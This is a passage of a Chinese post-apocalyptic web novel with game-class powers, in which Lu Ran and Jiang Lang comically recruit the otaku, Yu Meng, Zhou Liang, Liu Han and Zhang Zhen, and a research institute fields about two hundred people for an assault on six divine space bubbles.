于是他又恢复了窗帘全拉上，白天和黑夜不分的宅居日子，A市边缘那场天地为之变色的大战他也完全没看见, 一心只读漫画书。 “咚咚咚。” 刚从睡梦中勉强挣扎起来的宅男哥掀掉自己脑门上的被子, 揉着眼睛踢踏着拖鞋走向了门口。 他倒是还稍微残存了一点安全意识, 没有直接开门, 而是从猫眼中看了一下外面。！ 是陆燃和江朗他们，他立刻打开了门。 “两位大佬, 你们怎么来了！” 陆燃走进宅男哥的公寓内, 然后江朗也走了进来，最后是陈嘉佳。 江朗拍了拍陈嘉佳的肩膀, 给宅男哥介绍说：“这是我们之前在Q市遇到的女孩, 她有点无聊，你这有没有什么小说能给她看的？” 宅男哥：“！！！” 他原本还以为两位大佬找他是有什么关于游戏的事, 没想到！没想到居然是要让他安利作品！ 太好了！ 他瞬间红光满面起来, 飞速位移到了自己那一箱箱重新塑封后跋涉千山万水来到A市的漫画和小说前。 “小妹妹你有什么喜欢的小说或者动画漫画类型吗？” 他一边翻一边问, 不过陈嘉佳还没来得及回答, 他脑内其实就已经迅速地排除且锁定了一大堆作品。 陈嘉佳：“都行？谢谢……” 她话音刚落，就看见对方一脸激动地捧着一叠小说猛地站了起来。 然后一脸扭捏地问：“你看过《凉宫春日的忧郁》吗？” 陈嘉佳诚实地摇了摇头：“没有。” 她没被……关起来之前，其实也很少看电视或者之类的, 其实她觉得对方完全可以默认她什么都没看过。 听到陈嘉佳的回答后，宅男哥一脸郑重地将他手上这一叠九册的小说递到了她手上。 陈嘉佳也一脸郑重地接过，仿佛在从藏族人手中接哈达。 宅男哥局促地说：“就……你先看看？我觉得很好看！但如果不喜欢的画也没关系，你再来找我，我给你找别的看……” 陈嘉佳郑重其事地点了点头：“好。” 宅男哥非常欣喜，没想到末世里还能卖出去安利，不管对方看完喜不喜欢，这世上多一个认识团长的人都是好事！ 给陈嘉佳借完书之后，陆燃讲起了今天的正事： “你要不要来加入拯救世界的团队？” 宅男哥还沉浸在末日里卖出去了安利的喜悦中，看见陆燃开口就看向了他，陆燃好像说了什么……什么？？？ 啥？？？ 宅男哥一脸迷茫地呆在了原地。 啥？拯救世界？ 刚刚不是还在聊有什么小说好看吗？怎么话题突然就跳跃到拯救世界了啊！ 这跳跃度是不是太大了点！ 他掏了掏耳朵。 “我刚刚可能听错了，大佬你刚刚说了什么可以再重复一遍吗？” 江朗走上前，严肃地将右手搭在了他的肩膀上： “陆燃刚刚在问你，要不要和我们一起来拯救世界！” 宅男哥：“……” 好的，这次真的没听错……真的是拯救世界啊！ 可是……他是个废柴啊！ 这年头已经不流行废柴拯救世界了啊！ 他颤颤巍巍地，很努力支撑住自己的双腿：“大佬们……你们是不是太抬举我了……我真的才转变为游戏玩家没多久，按你们游戏的计算方式，我可能还在新手村级别吧……” 江朗拍了拍他，把他们之前的讨论和猜想全都说了一遍。 “……总之，我们现在需要一个血肉战士，能力倒是次要的，重要的是关键时刻不会掉链子。” 宅男哥：“……大佬啊！我看起来像是不会掉链子的人吗？！” 陆燃：“你能在没人验证过可能性的情况下仅凭一个猜想和受虐倾向就把自己变成了血肉战士。” 宅男哥：“……首先，让我辩解一下受虐倾向这个事……” 陆燃：“我们信任你，你自己信不信任自己你可以再想想，我们过段时间还会回来A市，那时候你应该已经想好了。” 他朝陈嘉佳招了招手，于是三人又离开了。 留下宅男哥一脸迷茫。 “等等——等等！！” 宅男哥突然猛地冲了出去，打开房门冲着正要下楼梯的陆燃三人喊道。 “等一下！我加入！我加入！你们别找其他人啊！” 这可是拯救世界啊！就算死了也值了！这就是传说中的死也死在做自己喜欢的事上啊！ 而他喜欢的事就是活在自己的幻想里！ 他要加入这个英雄小队！因为这就是他一直以来的幻想！ 于是宅男哥迅速地做出了决定，并且生怕错过这个少见的机会于是破门而出。 然后他就发现他这段时间又疏于锻炼了……他扶着门框猛喘气，希望自己这个形象不会影响到陆燃和江朗的决定。 好在他们没有因为宅男哥喘不上气而反悔。 “欢迎加入。”. 陆燃和江朗慢慢走下楼梯。 江朗：“还挺顺利的，那这样我们就已经有五个人了，就差……呃，那个面具男叫什么来？算了，研究所那边再找到一个医生了。” 陆燃：“嗯。” 主要小队的成员已经定了下来，或者说，最后去送死的小队的成员已经定了下来。 是的，虽然梁凌说得轻松写意，但其实包括刚刚听完转述的宅男哥在内的所有人都很清楚，最后进入空间泡的他们这六人，是名副其实的送死小队，他们上一世什么结果，这一世就很大概率也是什么结果，毕竟就连《神域》世界的本土的六位由创世神亲自赐予神格的执行神也由此陷入了几乎永眠的状态，他们实在不觉得自己能多例外，他们努力想要博取的最好结果其实就是同归于尽。 接下来，他们要去搬一些帮手，夺取神格的空间泡还是可以靠人多力量大的。 他们打算原路返回，从A市回Q市再回C市附近。 他们刚走下宅男哥的公寓，倒是遇上了熟人，江朗有些尴尬，因为熟人是陆承和周胤，他一想到自己在那场混战中因为看见梁凌出现就怀疑了他们整个小队，就多少有点小愧疚，于是他主动朝他们打了个招呼。 “周胤！陆承！” 那两人听见江朗的喊声，下意识回头，看见江朗身边的陆燃后，脸上闪过一丝回忆起什么的古怪，然后才朝他们挥了挥手。 陆承：“好像好几天没见了，你们昨天有看见东边那片火吗？也不知道是谁在打架。” 他看见江朗的表情瞬间有点古怪，陆燃看上去倒是挺平静的样子，陆承忍不住思考了一下他讲了什么很奇怪的话吗？ 江朗：“嗯嗯我们看到了……” 没说谎，确实看到了，而且是超近距离看到。 周胤：“确定那是异能了吗？万一是山火呢？” 陆承无语了一下：“山上哪来的树给你烧？而且烧起来那么快灭起来又一瞬间，肯定是异能啊。” 周胤：“好吧……好像很有道理……好羡慕啊，这异能也太酷了，我也想要火系异能……好像末世后都没见过带火系异能的人，唉，果然现实不是小说，真是悲伤，我也想玩火，而且如果我是火系异能的话就不用天天找能烧的东西了，也不用担心火柴用完了……” 陆承：……你想要火系异能就为了这个吗？ 周胤忧伤地向往了一下火系异能之后，思绪就重新回到了现实。 “基地里又有空间泡任务了，你们要一起来吗？” 江朗摇了摇头：“不了，我们得回Q市一趟。” 周胤：“哦哦。” 他们倒是没问为什么，在末世里问别人的去向以及为什么要去什么地方都挺不礼貌的。 陡失尬聊话题，周胤原地绞尽脑汁了几秒还能聊什么，然后看向了陆承，这一看他就无语了。 陆承正满脸微笑地看着陆燃。 周胤：“……” 他猛地肘了一下陆承。 陆承吃痛，“嘶”了一声，低头低声对他说：“欣赏一下脸怎么了？” 不过他的低声并没有他想象中的那么低，或者说谁让末世强化了异能者的听觉呢。 陆燃：…… 江朗：！怎么会这样！他还以为陆承已经放弃对陆燃的觊觎了！ 他警惕地猛地抓起了陆燃的手臂，塞到了自己的臂弯里。 陆燃：？ 抱着九册《凉宫春日的忧郁》的陈嘉佳脸上缓缓露出了一个迷惑的神情。 陆承看见江朗的反应，忍不住无语到笑了一下——他信这俩人是朋友就有鬼了，周胤的gay达天天出错，没想到这次反而是他出错了。 他朝陆燃和江朗挥挥手，和周胤一起离开了。 目视着他们离去的背影，江朗瞬间松了口气。 陆燃：…… 江朗无视了陆燃的无语眼神，精神满满地满血复活，朝他们的车走去。 “出发！召集拯救世界小队！”. 于檬感觉自己对异能的掌握每天都在飞速进步，没办法，练习量太大了。 除了吃饭睡觉以外，就是日夜不停地操纵着蚁后控制蚂蚁们向前搬山。 拥有异能还不幸退化掉了她的大部分睡眠时间，以至于就算她想偷懒多睡会儿少搬会儿山都不行。 不过想想很快就能到A市又能和陈嘉佳一起玩了，她就又打起了些干劲。 就在她打算结束这个上午的努力开始吃午餐时，她被强化过的听力就听到了一阵低沉的轰隆声。 她觉得这声音有点熟悉，然后她突然意识到了——这是车子的发动机声！ 难道说……？ 她心中升起了一阵兴奋与希望，不过很快又快速压制了下去，也许只是路过的人呢。 虽然知道大部分人肯定不会注意到他们所在的这座山其实是在不停向前动的，不过于檬还是停下了今日早晨份移山。 就在她犹豫要不要出去看看的时候，熟悉的方位传来一道铁锹插进泥土里的声音。 于檬：！ 真的是江哥陆哥他们来了！ 于檬跳下蚁后巢穴所在的平台，快速朝他们以前下来地底的那个洞跑去，跑到一半，她就远远地看到了一道圆台形状的光束，阳光在地底显出格外纯净的淡粉色，隐隐能看见其间飞扬的灰尘，而在这道圆台形状的光柱前方不远处，走着三个人，正是陆燃江朗和陈嘉佳。 他们三人走得很慢，飞奔而至的于檬很快就知道了为什么，因为陈嘉佳手里还捧着一叠书。 于檬到了她面前之后，陈嘉佳直接递给了她最上面上本： “陆哥和江哥他们在A市的朋友借我的小说，我看完前两册了，给你看。” 于檬愣了一下才说好，借书这个行为……听起来太末世前了，末世后居然还有人随身带着书吗？不过可能是A市原住民。 然后她抬起头看向陆燃与江朗： “江哥陆哥你们怎能过来了，我再挪两天其实就快到A市对面那座山后面了，你们不用特意跑一趟的。” 江朗爽朗一笑：“其实我们这次来是有别的事。” 于檬：“嗯？” 陆燃和江朗大致给她讲了一遍之前的事，于檬认真听着，时不时提个问题，最后恍然大悟：“所以你们是需要更多人一起去这个叫空间泡的地方对吗？” 陆燃点了点头：“嗯。” 江朗：“如果空间泡离得比较近的话，如果你赶不过去肯定就算了。” 于檬摇摇头：“如果远的话我就直接带我妈还有其他蚂蚁一起直接走过去了，哦还有那只猪。” 江朗露出了可惜的神色：“这座山环境还挺好的，让你放弃就太可惜了……” 陆燃迷惑地看了他一眼：“你应该知道于檬就算出走半年回来这座山大概率也不会被人占了的对吧。” 江朗：……还真是，跟出门远行没啥区别，只不过于檬的房子比较大而已。 于是他们就这样搞定了第一个帮手。 “我们接下来要回Q市，你们要回去看看吗？” 于檬先摇了摇头：“不了，我现在还是和这座山呆在一块吧，好不容易把它挪过来的，而且陈嘉佳刚给了我两本小说，我正好看看。” 陆燃看向陈嘉佳：“那你呢？” 陈嘉佳犹豫了一下，最后还是说：“我也不回去了吧。” 她顿了一下笑着说：“于檬要是看完前两册想看后面怎么办，而且我也要看后面的，所以我们俩还是在一块比较好。” 陆燃点点头。 江朗也理解地点点头，无论陈嘉佳的理由真是为了看小说，还是不太想回去面对海岸小区，总之她不想回去就是了。 陈嘉佳最后说：“替我跟张老师问好。”. 清晨的海岸小区，早已养成日出而作日落而息作息习惯的小区众人陆续从居民楼里下楼准备种地。 保安亭里的守夜者打了个长长的哈欠，然后看向小区内，想着，接班的人怎么还没来…… 然后在他一会儿困得想打跌差点直接一头栽在桌板上，一会儿睁大眼睛望穿秋水的来回切换之间，来接班的白天岗异能者终于来了。 “总算！我要困死了！” “去吧去吧……” 叼着饼的异能者挤进保安亭，含糊地说，然后就在他们刚换完班的时候，一阵车辆轰鸣声从远处逐渐靠近。 两人下意识地抬起头，却看见了一辆造型稍有些不太熟悉但颜色格外熟悉的越野车。 两名异能者：！！！ 等等……不会吧！ 熟悉的越野车在海岸小区门口猛地一个急刹车停了下来，然后两个身影从车上跳了下来。 “陆哥！” “江哥！” 陆燃朝他们点点头，江朗则露出一个爽朗的笑容：“我们回来了！” 两个异能者一脸激动地围了上来： “怎么回来了……啊不是，回来了好！陆哥江哥你们这次回来还走吗？” 江朗挠了挠头：“还是要走的，回来只是看看大家。” 那两人看上去稍有点失望但并不算意外，很快就恢复到了欣喜的表情：“那也好啊，哦对了，我给你们汇报一下，你们和小陈医生走了之后，那些外来的异能者陆陆续续就走了，哦不过倒是有一两个留下来了，然后呢，小区里本来那些也不知道脑子有什么问题就跟着也想要异能者特权的人没了主心骨，张老师又管得严，他们就老实了。” 陆燃和江朗边听边点头，情况倒是和他们离开前预想的差不多，没了陈嘉佳，海岸小区理论上很快就能恢复原本的生态，就算再有异能者加入，也是生态筛选异能者而不是异能者改变生态了。 陆燃和江朗走入海岸小区，果然，大部分在花园里劳作的都是老熟人。 见到陆燃和江朗熟悉的身影，原本埋头开始种菜的海岸小区众人猛地把头抬了起来。 “小江小陆回来了！” 不知道是谁先喊了这么一声，瞬间一大群人放下铲子的放下铲子，放下锄头的放下锄头，瞬间涌了上来。 “回来了啊！回来了好！” “啥时候回来的啊，中午来婶家，婶给你们做吃的！” “来我家来我家！我这还有攒着没吃的辣椒！就等着小江小陆回来呢！” “……” 盛情难却之下，江朗答应了六顿饭，嗯……他们在中途稍微停留三天应该也算不上什么耽搁吧…… 从热情的海岸小区居民的环绕中挤了出来后，两人依托找张老师有事这个理由，成功止住了大家的话头。 他们关上暂时没人的张老师办公室的门，松了口气，打算就在这等到张老师回来了。 张老师回来的时候是中午，大概刚结束上午的巡逻。 她走进办公室打算随便开个泡面的时候，就看见了两个熟悉的身影。 一个站在窗边，一个趴在办公桌上正在玩笔。 “江朗？陆燃？你们怎么回来了？” 她下意识地看了圈周围： “嘉佳没和你们在一起？她……她还好吗？她一个人吗？这安全吗？” 陆燃从窗边转过身：“她和于檬在一起，于檬现在有异能，而且两个人在很隐蔽的地方。” 张老师瞬间松了口气：“那就好……那就好……” 她低头沉思了一会儿，然后才抬起头。 “所以你们怎么回来了？” 已经从桌上爬了起来的江朗再再再一次讲述了一遍梁凌版本的对这个世界的推测。 张老师听得若有所思。 “原来如此。” 江朗：“所以我们就一路回来，想问问张老师你愿不愿意一起来，前期去打六个神殿的空间泡我们还是很缺人手的。” 张老师犹豫了一下。 最后还是叹了口气说：“如果我只有自己一个人的话，我真的很想参与你们的战斗，但是海岸小区……我实在不敢离开。” 陆燃和江朗倒也没惊讶，他们回海岸小区前其实就知道张老师大概率不会愿意离开小区，他们只是顺路回来问问，顺便看看海岸小区怎么样了，看见小区恢复正常，他们也算完成任务了。 张老师：“抱歉……” 她神色中是真心的歉疚，哪怕她毫无必要，江朗这才回想起张老师有多习惯把所有自己能做到的事都视作她应当完成的责任。 江朗：“哈哈哈张老师你抱歉什么，我们本来也就是问问，其实不算缺人的！而且我们其实主要还是想回小区来看看，小区现在好多了啊！” 说到这里，张老师的脸上就出现了放松与欣慰的神情。 “嗯，多谢你们当时挺身而出，那些异能者离开之后，小区就差不多正常了。” “当时是我没想清楚。” 她看了眼陆燃，叹了口气： “我当时太想当然了，只觉得不应该拒绝任何需要帮助的人，而且毫无理由地限制外人进入海岸小区让我觉得有失公平。” 陆燃：“现在大家开心就好，当时的情况比较复杂，谁也没想到陈嘉佳的消息会传出去还传得那么快。” 他们和张老师又简单交换了一下信息，江朗手舞足蹈声情并茂地讲了一遍他们最近的经历，当然把重生那部分省去了。 张老师给他们讲了下小区现状，虽然没什么刺激的故事，但这种平静琐碎的细节显然让她非常满足。 “你们回来应该有不少人想要让你们去家里吃饭吧？” 张老师随意猜测道。 江朗挠了挠头：“是的，答应了中午去张婶家吃饭。” 张老师笑了：“那你们快去吧。” 从张老师办公室出来后，陆燃和江朗朝张婶在的那栋楼走去。 然后在成功见到张婶前，他们倒是先见到了另一个意料之外的人。 江朗有些震惊地看着眼前这个打着哈欠从楼里出来的少年： “你怎么还在？” 中二秘术师瞬间像被踩了尾巴的猫一样炸毛了： “什么叫我怎么还在！这小区我不能住吗？我可是交了入住费的！凭什么不能在！” 江朗：“我不是这个意思……我是问你居然没和其他异能者一起走吗？” 中二秘术师：“哦……” 他扭捏了一下：“我觉得他们把我当傻子……反正我都交了小区的入住费了，张老师不赶我我就还能住着呗。” 他忍不住又打了个哈欠，昨晚值夜班，虽然明明他也用不着多少睡眠时间了，但感觉自己该困的时候他还是会打哈欠。 江朗：“原来是这样。” 中二秘术师反应了一下才突然睁大了眼睛：“不对！你们俩才是！怎么在这里！” 陆燃：“……” 他很少见到比江朗反应还迟钝的人。 江朗看了眼这个迟迟才反应过来的中二秘术师，突然问道： “要不要一起来拯救世界？” 中二秘术师愣了一下：“啥？” 陆燃看了眼这个中二少年，虽然他有些呆傻，但是进入那六个空间泡夺取六名执政神的遗骨差不多也跟打团没差了，打团最优势的职业就是秘术师，这个中二少年又是他们这段时间里见过的少见的满级且装备精良的秘术师，拉去打团倒是非常适合。 陆燃：“倒是忘了他了。” 江朗：“对吧对吧！” 中二秘术师：“等等，啥啊，等等，怎么就要拯救世界了？”. 陆燃和江朗在海岸小区逗留，一边吃饭一边给中二秘术师讲述前因后果的时候，另一头，隐蔽的研究所总部内，没带面具的面具男正在像研究所介绍梁凌的研究内容。 “所以……我们现在要出一个医生？” 没带面具的面具男点点头：“对。” 研究所内所有医生职业的人互相看了一眼，然后齐齐举起了手。 “选我选我！谭哥选我！” “你还喊上谭哥了？不是平时天天喊谭狗压榨吗？谭哥选我，这人两面三刀不可信的！这么重大的任务显然要选我！” “停！” 这声“停”不是出自谭峰，而是其中一个医生。 她站了出来：“让谭哥随便选一个或者抽签大家肯定都是不服的，所以我认为，我们应该公平竞争。” “大家打一架，赢的人就获得名额。” 一个男生弱弱地举手：“陈姐，可是我们不是医生职业吗？难道不该比谁耐得多吗？” “……” “陈姐”沉默了一会儿，很快又慢条斯理而笃定地开口：“最后的战斗是六人队，这样小的小队里，医生的奶量怎么都是溢出的，如果纯论奶量的话，我们谁去都一样，这个基础上，谁更能打不就更重要了吗？” “好像很有道理。” “有道理个毛线啊！陈希她就是想自己去！谁不知道她觉醒了战斗异能？我觉得还是大家亮面板！” 陈希理直气壮：“那我既有游戏面板又有战斗异能，进去一人能当两人份用，这还不是优势吗？” “我反对！谭峰刚刚也说了，这次要面对的敌人是《神域》的创世神，虽然没人打过这个boss，但是怎么想都不是我们这个版本的等级的boss，所以医生的奶量在这种情况下肯定不会溢出的，到时候要瞬间拉六个人的血线，那难道不是应该选奶量高的去吗？” “如果真是六个人血线瞬间全空的boss那我看我们这点奶量也不用分个高低了，不都一样了吗？” “……” 谭峰沉默着走出了房间，打算让他们自己吵一架吵出结果来。 他在研究所总部绕了一圈后，估摸着过了一小时了，他们应该吵出结果了，于是他重新朝会议室走去。 打开会议室大门。 嗯，确实出结果了。 陈希昂首挺胸地朝他走来，向他宣告：“谭峰，我们已经做出了共同的决定，我就是这个团队的医生了。” 她身后，一群被揍得满头包的医生，显然，不愿意接受“打一架”这个解决办法的人都被动接受了。 谭峰：“……” 反正他们选出人了就行。 其实研究所谁来担任这个位置，他都很放心，陈希当然更好，她从前一世到这一世都是研究所的模范员工. C市附近的某个小镇。 张镇正百无聊赖地蹲在树上。 这日子真是没法过了。 他重生的时候绝对想不到自己会沦落到如此地步。 天哪！重生啊！这种天降狗屎运的事不是该让他从此走上人生巅峰，从此拳打研究所，脚踢……不知道什么，然后成为末世中首屈一指的呼风唤雨的所到之处所有人纷纷避让的强者吗？！ 为什么他现在会在给一群甚至不知道他异能有多可怕的普通人当保镖…… “张镇！张镇哥！帮我切个这个呗！” 他收回四处蔓延思绪，低头看去。 树下一小孩手里举着一枚椰子。 张镇：“……” 他的心头悲从中来。 这些人到底知不知道他的空间系异能是多大的大杀器！ 天天不是让他刨椰子就是让他切冻鱼的！ 敢情都拿他当铡刀用是吧！ 他心中悲愤，郁郁，气急攻心，然后空间异能之力从他身体中涌出—— 给下面的椰子切了个完美的切面。 “谢谢张镇哥啦！” 张镇愤怒，张镇抑郁，张镇沉默。 如果是上一世！他早就把这小屁孩送去见阎王了！ 如果不是老大盯着他！他早就跑了！ 唉，千错万错，都怪他重生后脑子有问题非要来找老大，单干不好吗？为什么非要复兴永乐？他一个人明明也是可止小儿夜啼的一个大恶人啊…… 他悲愤而忧郁地蹲在树枝上，心中唯一的期望就是今天别再有人来找他切东西了。 他真的还是有尊严的。 可惜，怕什么来什么。 他刚享受了一会儿私人时光，让思绪尽情漫游在他当年横行霸道在末世里作威作福的日子，树下又来人了。 “张镇，能帮我切一个这些海带吗？别的刀太钝了实在切不开。” 张镇：“……” 他死死地盯着下方的中年女人，试图用眼神告诉她她在他心中已经是个死人了。 但是中年女人依旧耐心地捧着那盆彩带，满脸笑容，一心只想着晚上要吃拌海带，完全没感受到张镇致死量的目光。 张镇：“……” 下一秒，中年女人盆里的海带就平平整整地切好了。 “谢了啊！晚上给你留碗拌海带！你应该吃海带的吧？” 张镇：“……吃。” 他回忆了一下拌海带的味道，嗯，吃还是要吃的。 切完海带后，他继续蹲在树上。 只是这一次，他还没来得及沉浸到幻想中去，无来由的警觉就爬上了他的心头。 他猛地皱眉，从树枝上站了起来，有人。 这鸟不拉屎的地方还真有人来？？ 他一瞬间无语了一下，他还以为他在这站岗纯是个摆设，也确实摆设了一年了。 但是无语归无语，他的大脑和身体依旧维持在恰恰好的紧绷状态，随时准备在捕捉到入侵者迹象后一个空间切割扔上去。 来了！ 他捕捉到了一阵堪称风驰电掣的轰鸣声，有人开着车在这荒凉之地疾驰。 靠听觉锁定大致位置后，他死死地盯着那个方向，等待着入侵者冒出来。 出现了！ 一抹鲜艳的红色刚出现在他视野内，他紧紧绷着的异能就瞬间释放而出，将那辆红色越野车分裂成了无数块废铁！ 但他没能将敌人和他们的载具一起消灭，两个人影极快速地从即将碎裂的越野车中窜了出来，在地上翻滚一圈后抬起了头。 从地上起来的陆燃和江朗一时间觉得此情此景似曾相识。 陆燃一边拍着自己的袖口，一边抬起头看向远处。 江朗盯着地上那堆破铜烂铁：“我的车啊……” 张镇：！！！ 草！他打错人了！！ 他呆滞在树上，瞳孔地震。 我草我草我草……我草！ 他的脑海中一片“我草”飘过，那两个翻滚出来的身影太眼熟了，而且此时两人组中长相比较冷的那个正站起来看向了他的方向，明明距离很远，但张镇觉得对方似乎直视着他的眼睛，他不禁打了个哆嗦。 他怎么就不能多等一会儿！他就非要这么有战斗素养吗？！ 这下好了！打到老大的老大了…… 他现在逃还来得及吗…… 显然来不及，他飞快地从树下跳了下来，一路小跑着朝陆燃和江朗飞奔而去。 如果不是没有记录过这附近的坐标，他都想浪费一张传送卷轴了…… “老大的老大，你们怎么来了，哎哟我真是有眼不识泰山……” 张镇一边陪笑一边狗腿地替江朗努力地拍着灰尘，本来还想窜到陆燃那边拍，但刚走出没两步，就直直地对上了陆燃那双平静而冰凉的双眼，他瞬间僵在了原地，两秒后又退回了这两步，重新替江朗拍起衣服上的灰尘来。 江朗恶寒了一下：“别，别，不用，我自己来。” 张镇老实地退后，挤出了一个笑容，试图让自己无需从此被追杀。 陆燃：“你负责站岗？” 张镇：“是的……老大让我密切注意这个方向，不论是污染物还是朝这个方向来的人，都需要注意。” 陆燃：“你老大让你见面就格杀勿论的吗？” 张镇一僵，老大还真没说！ 他只是按以前永乐的习惯来处理了…… 他又不能把责任推到老大身上，这两位老大的老大不一定会弄死他，老大一定会的……就算没死也可以等着生不如死了。 于是他垂头丧气地说：“没有……” 陆燃：“在我们之前有被你攻击的人类吗？” 张镇摇摇头：“没有。” 陆燃看向江朗，意思是你放心了吧，江朗点点头。 陆燃于是继续沿着这条小路朝前走去。 江朗也跟了上去。 张镇：诶？诶？ 他呆愣了一下，这就结束了吗？ 他究极的冒犯大罪呢？ 陆燃：“柳寒在哪里？” 张镇呆呆的，好几秒没回复，陆燃皱了皱眉，回头看去，张镇瞬间清醒了。 “两位老大的老大！我这就带你们去找老大！” 张镇一溜烟地快步走到两人身前一米处，开始带路。 他们之前选出来的这个地方，是个小小镇，有点城乡结合部的味道，走过来只看见了一家超市，只能说还好当时让他们多从C市带点物资走了。 没一会儿他们看见了一家酒店，四层高，占地面积不大。 “这就是现在大部分人住的地方。” 陆燃和江朗点了点头。 看得出来。 酒店的阳台上很有生活气息，挂了一堆有的没的，从毛巾到衣服到鱼干到竹笋干到腊肉应有尽有。 然后他们在张镇的带路下继续向前，转过一个弯后，地势瞬间开阔了，因为来到了学校区域，张镇直接走进了校门，左转，然后说：“老大就在操场上。” 操场的方向传来一片嘈杂的声音，陆燃和江朗往前走，慢慢看清了操场上的人都在做什么。 操场上围了一圈人，闹哄哄的，而他们围成的这个圈的圈内，是一个人正在和一只污染物战斗。 而且应该交缠了有一会儿了，这个异能者看上去气喘吁吁的，双眼紧紧盯着这只污染物，手中紧紧地拿着一把锋利的菜刀。 张镇幽怨地看了眼那把菜刀，就是因为锋利的菜刀全被拿去战斗训练了，做菜的人就只能用钝菜刀，他才天天被拿去当菜刀用啊混蛋…… 随着他又一次对污染物发起攻击，操场上爆发出了一阵大声的鼓励叫好与喝彩。 陆燃和江朗站在几十米外看了会儿，江朗突然露出了一个迷惑的神情：“这污染物……看起来怎么……怎么……” 他纠结了一会儿，终于纠结出了一个用词。 “……数值不平衡。” 陆燃也看出来了，这污染物很明显没什么特别的异能，应该算是各种各样突变污染物中最普通的那种，但速度很快攻击力很高，而且看对面异能者多番攻击后依旧活蹦乱跳的样子，血条应该也很长。 陆燃：“应该是柳寒把辅助能力用在这只污染物上了吧。” 张镇在一旁讨好式解答：“是的是的，为了给这些普通异能者做战斗训练，老大一直很努力地在抓附近的污染物来当训练对手，但是这周围的污染物真的太菜鸡了，稍微难打点的污染物就那么小猫三两只，然后这些菜鸟异能者下手又没轻没重的，才训练几次就把那几只污染物弄死了，所以老大只能退而求其次，抓一些更菜的污染物来强化，再给这些人训练。” 江朗：“……哈哈，柳寒，挺认真的哈。” 他和陆燃虽然一开始确实是抱着柳寒的异能适合让这些异能者在实战中成长这样的想法让柳寒驻守这边的，也确实和柳寒说了类似的意思，但没想到他执行得这么……到位，甚至过于到位了。 如果末世没来，柳寒应该是所有资本家最喜欢的那种员工吧……一句指令就能让他完成200%的效果。 “咦？大家快看！是两位恩人！” 操场上不知道谁先发现了陆燃和江朗，瞬间也没人围观战斗训练了，一窝蜂地朝他们两人涌了过来。 陆燃后退一步，让江朗挡在他和这群人中间。 江朗负责热情地回应大伙的热情，陆燃看向了落后一步走到了他们附近的柳寒。 柳寒：“在过去一年里，镇内所有异能者都已经训练到了可以依靠自身异能或冷兵器单独击败三级污染物的水平，如果进行三人组队，每三名二级异能者合起来都可以成功在四级污染物的攻击下存活并逃脱，我还对他们进行了缺少食物状态下的野外生存训练，就算有人不幸和大部队失散，应该也能坚持到救援。” 陆燃：“……” 他们就住一起，能失散到哪里去。 柳寒说完后微微倾身，似乎是像在向老板汇报自己的工作成果。 就连陆燃都觉得有些诡异了。 他“嗯”了一声。 柳寒直起身：“需要我组织他们进行一场汇演吗？” 陆燃：“……不用了，这次回来是有别的任务给你们两个人。” 柳寒似乎也无所谓自己努力了一年的成果老板不懒得验收，立刻再次微微倾身：“请吩咐。” 陆燃：“我和江朗还有其他一些人之后会需要进入六个远超正常强度的空间泡，你们一起来。” 柳寒：“好的。” 张镇：！！！终于！！ 他终于可以从这个鸟不拉屎的地方离开了！ 他终于可以战斗了！！ 等等……主动进入空间泡？这行为听起来咋这么熟悉呢…… “等等，老大的老大，我能问一句这个活动的组织者是谁吗？” 陆燃看了他一眼，突然古怪地笑了下：“研究所。” 张镇：…… 怎么会这样！ 他不要和研究所的人合作啊！ 陆燃：“你们如果不想去也可以。” 柳寒：“您的意愿就是我前进的方向。” 陆燃：……一年不见，柳寒的用词让人发毛的程度又见长了。 张镇的脸纠结成了一团，他不要和研究所的人合作啊，但是……但是……他不想继续留在这个鸟不拉屎的地方天天切海带啊！ 算了……算了…… 他深呼吸了一口气。 研究所就研究所吧！他要战斗！战斗！ 第109章 第 109 章 什么？你说这是幻月之…… 周亮觉得自己的脑子都要被吵炸了。 这和他们学校的郊游到底有什么区别……哦不, 有区别，这比他们学校郊游还乱呢。 至少他们学校郊游有老师管，而这里的“老师”…… 他看向前方, 那对看着也没比他大几岁的秘术师和织灵者，然后他们旁边的奇装异服的黑风衣男, 还有一个应该是言灵者的存在——因为这人完全不张嘴。 怎么看都不是什么靠谱的领导团队吧！ 他越想越觉得自己到底为啥要同意过来啊, 太吵了吧也！他都已经快适应海岸小区那种静谧的末世生活了啊可恶…… 被周亮，也就是海岸小区的中二秘术师吐槽的看着就不靠谱的领导小队其实确实正在纠结这一大群人怎么带。 江朗：“怎么会有这么多人……” 谭峰：“你以为研究所有多少人？我其实只带了一半人过来，还有一半要留在研究所维护日常基础设施的。” 陆燃扫了一眼，他和江朗本着贵精不贵多的原则, 带了于檬, 陈嘉佳, 柳寒, 张镇，还有周亮这五个人过来, 他们原本以为梁凌和谭峰应该也是差不多带几个人过来就是了。 梁凌确实只带了几个人过来——A市的小队, 还是那几个熟人，梁凌在末世重生后大部分时间都花在研究《神域》设定和在空间泡里翻译外星语言上了, 实在没什么地方去认识人, A市这个团队显然是他优中选优后选择留下的固定队。 但谭峰那边完全就不是这么一回事，他重回末世除了试图找到陆燃将他杀死在没异变以前, 就是在认真建设研究所, 而且建设研究所本来也就是寻找陆燃的一环, 一个人在全国范围内找人约等于大海捞针, 通过建立起研究所并以研究所为中心构建起遍布各基地的人工通讯网络，才是他能在这么短的时间内找到陆燃的原因。 所以总而言之，谭峰一个人带了将近两百人过来。 江朗：“两百人团啊……没带过这么大的团, 你们有谁在游戏里当过大团指挥的吗？” 谭峰奇怪地看了他一眼：“我是一个技能点在复活上的亡灵法师，你觉得我像是PVE玩家吗？” 梁凌举手：“我也是玩PVP的。” 陆燃：“你来吧。” 江朗：“？” 江朗：“？？？我？” 陆燃：“这里也就你有指挥大团的经验了，上吧。” 江朗：“……” 他头疼地沉默了一会儿：“但是这也不是游戏里，不能把人都喊到YY里，光是要让这两百人都听见我在讲什么都是个大问题吧。” 谭峰贴心地从背包中变出了一个喇叭。 “这是研究所研究了各种类型的刚性材料之后，做出来的纯机械喇叭，虽然没有电喇叭好用，但是你大声点说话，传播个五十米还是够的。” 江朗：“……” 他心情沉重地接过那只喇叭，感觉自己莫名有种被赶鸭子上架了的错觉。 他叹了口气：“好吧，把你们研究所的名单给我看看。” 谭峰似乎早有准备，立刻拿出一张纸，递给了江朗。 陆燃站在江朗身边快速扫了一眼，谭峰其实带人过来很有针对性，大部分都是医生和秘术师，更适合单兵作战的亡灵法师与织灵者就相对没有，然后还有数量较少的言灵者和血肉战士，不过这不是因为他不想多带，而是因为这两个职业在游戏里本来选的人就偏少——大家都不爱打辅助和当t啊。 